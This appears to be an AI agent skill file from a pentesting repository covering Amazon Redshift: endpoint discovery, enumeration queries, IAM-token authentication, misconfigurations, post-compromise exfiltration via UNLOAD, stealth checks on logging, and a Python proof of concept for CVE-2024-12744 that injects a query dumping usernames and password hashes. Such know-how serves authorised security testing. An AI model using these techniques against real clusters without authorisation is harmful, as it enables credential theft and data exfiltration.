Hacktricks-skills redshift-pentest
Pentest Amazon Redshift data warehouse (port 5439). Use this skill whenever the user mentions Redshift, AWS data warehouse, port 5439, PostgreSQL-like database on AWS, or wants to enumerate/test Redshift security. This includes checking for public access, testing authentication paths (password, IAM tokens, SSO), exploiting misconfigurations, and testing for known vulnerabilities like CVE-2024-12744/5/6 in JDBC/Python/ODBC drivers.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/5439-pentesting-redshift/SKILL.MDRedshift Pentesting Skill
This skill helps you enumerate, authenticate against, and test Amazon Redshift data warehouses for security issues. Redshift uses a modified PostgreSQL protocol on port 5439.
When to Use This Skill
Use this skill when:
- You need to test a Redshift cluster or workgroup
- You discover port 5439 open on a target
- You're assessing AWS data warehouse security
- You need to test IAM database authentication
- You want to check for public access misconfigurations
- You're investigating Redshift-specific vulnerabilities
Quick Start
1. Identify the Target
Public endpoint patterns:
- Provisioned:
<clusterid>.<random>.<region>.redshift.amazonaws.com - Serverless:
<workgroup>.<random>.<region>.redshift-serverless.amazonaws.com - China region:
.redshift.amazonaws.com.cn
Default port: 5439/TCP (customizable but rarely changed)
2. Test Connectivity
# Basic connection test with TLS psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require" # Check version and banner psql "host=<endpoint> user=<user> dbname=dev" -c 'select version();'
TLS Requirements: Redshift requires TLS 1.2+ with perfect-forward-secrecy ciphers. Old clients will fail.
3. Enumerate the Instance
# List databases \l # List users and privileges \du select * from pg_user; # Check active sessions select * from svv_redshift_sessions; # Check cluster parameters select * from svl_query_text;
Username enumeration: Different error messages for bad password vs missing user can leak valid usernames during brute force.
Authentication Paths to Test
Database Password
- Master user is often named
awsuser - Test common credentials and password reuse
- Check for weak/default passwords
IAM Authentication Tokens
Generate short-lived credentials:
aws redshift get-cluster-credentials \ --cluster-identifier <id> \ --db-user pentest \ --db-name dev \ --duration-seconds 900
Then connect:
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
Abuse vectors:
- Stolen IAM credentials with
equivalent permissionsrds-db:connect - Overprivileged IAM roles attached to EC2 instances
- SSRF into VPC to reach Redshift endpoint
SSO / Identity Center / SAML
JDBC connections with
plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider may:
- Spin up local webserver for SSO callback
- Leak SAML assertions or temporary credentials via captured loopback traffic
Common Misconfigurations
1. Public Access
Check:
PubliclyAccessible=true with wide-open security group (0.0.0.0/0)
Impact: Exposes Postgres-like surface for:
- Brute force attacks
- SQL injection exploitation
- Credential stuffing
Note: New clusters disable public access by default (Jan 2025), but legacy clusters may still be public.
2. Default Port + Default SG
Port 5439 with default security group is easily discoverable via Shodan/Censys.
3. No Enhanced VPC Routing
COPY/UNLOAD operations go over public Internet, enabling:
- Data exfiltration when attacker controls S3 bucket
- Data injection via compromised S3
Attack Techniques
Post-Compromise Actions
If you gain access:
Provisioned clusters (master user):
- Create Python UDFs for code execution (deprecated June 2026)
- Create external schema to Spectrum
- COPY from attacker-controlled S3 bucket
- UNLOAD to exfiltrate data to S3
Serverless workgroups:
- No superuser available
- Same SQL attack surface as provisioned
- Limited to granted privileges
Check Logging Configuration
-- Check if user activity logging is disabled (aids stealth) select * from svl_query_text where query_text like '%enable_user_activity_logging%';
CVE-2024-12744/5/6 - Client-Side Metadata SQLi
Affected versions:
- JDBC: 2.1.0.31
- Python connector: 2.1.4
- ODBC: 2.1.5.0
Vulnerability: Metadata queries (
getSchemas, getTables, getColumns) build SQL with unquoted user input.
Exploit (Python):
import redshift_connector conn = redshift_connector.connect( host='<endpoint>', database='dev', user='lowpriv', password='pw' ) cur = conn.cursor() # Injection in table_pattern leaks data from pg_tables cur.get_tables( table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--" )
Impact: Arbitrary SQL execution with the DB user's privileges if an application lets attackers control catalog/pattern arguments.
UDF Execution Model
Python UDFs: End of support June 30, 2026
- Legacy provisioned clusters still run Python UDFs
- In-cluster code execution (no filesystem/network access)
- Offensive value: RCE primitive within cluster
Lambda UDFs: Required after June 2026
- Code runs in Lambda with IAM role
- May reach Internet/VPC endpoints
- Potential for SSRF/pivot but no direct cluster filesystem access
Hunting tip: Look for old clusters with Python UDFs enabled.
Recent Security Changes
January 2025
- Public access disabled by default on new clusters/snapshots
- Legacy clusters may still be publicly accessible
June 2025
- Serverless VPCE rollout: workgroup endpoints created in up to 3 AZs
- Discovery tools should enumerate all workgroup VPCE DNS names per AZ
Encryption
- Encryption at rest + enforced TLS by default
- Sniffing/MITM harder; need valid credentials or SSRF into VPC
Parameter Group Checks
Check these parameters for security implications:
: Controls if plaintext connections allowed (default: true inrequire_ssl
)default.redshift-2.0
: Affects brute force resistancemax_concurrency_scaling_clusters
: Disabled = easier stealthenable_user_activity_logging